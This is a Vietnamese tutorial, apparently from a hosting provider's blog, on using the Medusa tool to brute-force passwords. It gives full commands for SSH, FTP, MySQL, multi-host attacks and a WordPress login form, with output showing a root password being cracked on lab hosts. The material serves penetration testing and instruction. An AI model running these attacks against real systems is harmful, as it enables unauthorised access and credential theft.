Medusa là một công cụ được dùng để tấn công brute force password cố gắng truy cập hệ thống từ xa, nó hỗ trợ nhiều giao thức khác nhau. Trong bài viết này Cloud365 sẽ hướng dẫn bạn cách sử dụng medusa để thực hiện một cuộc tấn công brute force.

Cài đặt

Cài đặt một số gói cần thiết

yum update -y
yum install epel-release

Cài đặt medusa

yum install medusa

Sử dụng

Bạn có thể sử dụng lệnh

medusa -h

để xem các option của nó. Dưới đây là một số option mà tôi hay sử dungj:

  • -h : Địa chỉ của máy mục tiêu ta muốn thực hiện brute force ( IP hoặc domain )
  • -H : file chứa danh sách các máy mục tiêu
  • -u : chỉ ra username dùng để kiểm tra
  • -U : chỉ ra file chứa danh sách các username
  • -p : chỉ ra password dùng để kiểm tra
  • -P : chỉ ra file chứa danh sách password dùng để kiểm tra
  • -O : chỉ ra file để nó ghi log vào
  • -d : hiển thị toàn module mà medusa hỗ trợ
  • -M : chỉ ra module bạn muốn brute force ( dùng option -d bên trên để xem toàn bộ module được hỗ trợ nhưng bỏ qua phần đuôi .mod)
  • -m : truyền vào các tham số yêu cầu của các module. Option này có thể được sử dụng nhiều lần ( Vd: -m param1 -m param2)
  • -n : chỉ ra địa chỉ port
  • -s : cho phép sử dụng SSL
  • -f : nếu bạn sử đang tấn công cùng lúc cả username và password bạn sử dụng tùy chọn này thì câu lệnh sẽ dừng khi nó tìm thấy thông tin đăng nhập đầu tiên.
  • -F : nếu bạn đang thực hiện tấn công đồng thời nhiều máy option này sẽ dừng câu lệnh khi có 1 username và password của bất kì host nào được tìm thấy.
  • -q : chỉ ra các tham số sử dụng cho module được chỉ ra
  • -Z : nếu bạn đang thực hiện brute force với một dang sách mật khẩu và đã đến mật khảu thứ 100 là 100100 và vì một lý do nào đó bạn nhấn Ctrl C và thoát ra khỏi câu lệnh. Bây giờ bạn muốn scan tiếp từ mật khẩu này bạn sử dụng option -Z và chỉ ra mật khẩu lúc trước đã đến -Z 100100

Ví dụ

Hiển thị các module mà medusa hộ trợ

[root@medusa ~]# medusa -d
Medusa v2.1.1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

  Available modules in "." :

  Available modules in "/usr/lib64/medusa/modules" :
    + afp.mod : Brute force module for AFP sessions : version 2.0
    + cvs.mod : Brute force module for CVS sessions : version 2.0
    + ftp.mod : Brute force module for FTP/FTPS sessions : version 2.1
    + http.mod : Brute force module for HTTP : version 2.0
    + imap.mod : Brute force module for IMAP sessions : version 2.0
    + mssql.mod : Brute force module for M$-SQL sessions : version 2.0
    + mysql.mod : Brute force module for MySQL sessions : version 2.0
    + nntp.mod : Brute force module for NNTP sessions : version 2.0
    + pcanywhere.mod : Brute force module for PcAnywhere sessions : version 2.0
    + pop3.mod : Brute force module for POP3 sessions : version 2.0
    + postgres.mod : Brute force module for PostgreSQL sessions : version 2.0
    + rexec.mod : Brute force module for REXEC sessions : version 2.0
    + rlogin.mod : Brute force module for RLOGIN sessions : version 2.0
    + rsh.mod : Brute force module for RSH sessions : version 2.0
    + smbnt.mod : Brute force module for SMB (LM/NTLM/LMv2/NTLMv2) sessions : version 2.0
    + smtp-vrfy.mod : Brute force module for enumerating accounts via SMTP VRFY : version 2.0
    + smtp.mod : Brute force module for SMTP Authentication with TLS : version 2.0
    + snmp.mod : Brute force module for SNMP Community Strings : version 2.1
    + ssh.mod : Brute force module for SSH v2 sessions : version 2.0
    + svn.mod : Brute force module for Subversion sessions : version 2.0
    + telnet.mod : Brute force module for telnet sessions : version 2.0
    + vmauthd.mod : Brute force module for the VMware Authentication Daemon : version 2.0
    + vnc.mod : Brute force module for VNC sessions : version 2.1
    + web-form.mod : Brute force module for web forms : version 2.1
    + wrapper.mod : Generic Wrapper Module : version 2.0

Brute force một số dịch vụ

Tôi có một file chứa danh sách các mật khẩu như sau

[root@medusa ~]# cat passwd.txt 
123456
123456789
123123
111111
123567
anhyeuem
1234567
0123456789
0123456
12345678
000000
asdasd
25251325
1234567890
121212
123321
zxcvbnm
qweqwe
456789
112233
aaaaaa
123qwe
147258
123@

File chứa danh sách các địa chỉ các host

[root@medusa ~]# cat host.txt 
10.10.35.124
10.10.35.127
demo.niemdt.com
192.168.1.5

Brute force mật khẩu ssh root đến máy có địa chỉ 10.10.35.127

medusa -h 10.10.35.127 -u root -P passwd.txt -M ssh

Kết quả trả về như sau

[root@medusa ~]# medusa -h 10.10.35.127 -u root -P passwd.txt -M ssh
Medusa v2.1.1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [ssh] Host: 10.10.35.127 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (1 of 24 complete)
ACCOUNT CHECK: [ssh] Host: 10.10.35.127 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456789 (2 of 24 complete)
ACCOUNT CHECK: [ssh] Host: 10.10.35.127 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123123 (3 of 24 complete)
ACCOUNT CHECK: [ssh] Host: 10.10.35.127 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 111111 (4 of 24 complete)
ACCOUNT CHECK: [ssh] Host: 10.10.35.127 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123567 (5 of 24 complete)
ACCOUNT FOUND: [ssh] Host: 10.10.35.127 User: root Password: 123567 [SUCCESS]

Ta thấy root/123567 là thông tin đăng nhập của máy 10.10.35.127

Dịch vụ ftp

medusa -h 10.10.35.127 -u root -P passwd.txt -M ftp

Nếu một dịch vụ không sử dụng cổng mặc định thì ta có thể chỉ ra bằng cách sử dụng option -n .

medusa -h 10.10.35.127 -u admin -P passwd.txt -M mysql -n 5000

Brute force nhiều host cùng một lúc

medusa -H host.txt -u root -P passwd.txt -M ss

Brute force web login

Để brute force web login ta sử dụng module web-form

Xem các tham số có thể sử dụng cho module web-form

[root@medusa ~]# medusa -M web-form -q
Medusa v2.1.1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

web-form.mod (2.1) Luciano Bello <luciano@linux.org.ar> :: Brute force module for web forms

Available module options:
  USER-AGENT:?       User-agent value. Default: "I'm not Mozilla, I'm Ming Mong".
  FORM:?             Target form to request. Default: "/"
  DENY-SIGNAL:?      Authentication failure message. Attempt flagged as successful if text is not present in
                     server response. Default: "Login incorrect"
  CUSTOM-HEADER:?    Custom HTTP header.
                     More headers can be defined by using this option several times.
  FORM-DATA:<METHOD>?<FIELDS>
                     Methods and fields to send to web service. Valid methods are GET and POST. The actual form
                     data to be submitted should also be defined here. Specifically, the fields: username and
                     password. The username field must be the first, followed by the password field.
                     Default: "post?username=&password="

Usage example: "-M web-form -m USER-AGENT:"g3rg3 gerg" -m FORM:"webmail/index.php" -m DENY-SIGNAL:"deny!"
                 -m FORM-DATA:"post?user=&pass=&submit=True" -m CUSTOM-HEADER:"Cookie: name=value"

Tôi thử thực hiện brute force đăng nhập vào khung đăng nhập admin của wordpress

medusa -h wp.niemdt.com -u admin -P passwd.txt -M web-form -m FORM:"wp-login.php" -m FORM-DATA:"post?log=&pwd=&wp-submit=Log+In" -m DENY-SIGNAL:"Lost your password?"

Trong đó :

  • wp.niemdt.com là địa chỉ của web site
  • module là web-form
  • FORM: địa chỉ của đường dẫn đến form đăng nhập. Với wordpress sẽ là wp-login.php. Nếu không chỉ ra thì mặc định sẽ là “/”
  • FORM-DATA: giá trị có dạng mothod?fields. Method có thể là get hoặc post. Field là tham số nhận giá trị truyền vào. Nếu bạn chưa biết các xác định thì tham khaỏ thêm bên dưới.
  • DENY-SIGNAL : Khi xác thực bị faild thì ta sẽ thấy một thông báo trả về. Ta xác định 1 đoạn text trong thông báo trả về mà chỉ thấy nó khi đăng nhập sai. Mỗi lần đăng nhập nó sẽ tìm đoạn text này. Nếu không tìm thấy thì nó sẽ xác định là bạn đã đăng nhập đúng

Kết quả trả về như sau

Ta thấy khi check đến password 123567 thì thấy có lỗi. Vì trạng thái code ở đây trả về là 302 chứng tỏ nó đã redicert đến trang khác. Trong woprdpress khi đăng nhập đúng nó sẽ được chuyển đến trang admin. Tôi dùng mật khẩu trên đăng nhập thi thấy thành công.

Cách xác định Field trong FORM-DATA

Bạn truy cập vào form đăng nhập sau đó nhấn F12 sau đó load lại trang web

Tìm file wp-login.php sau đó ấn vào xem chi tiết

Bên trên là một số trường hợp tôi hay sử dụng với medusa. Bạn có thể thm khảo những bài viết khác của chúng tôi tại đây. Bạn không nên sử dụng công cụ này cho những mục đích xấu.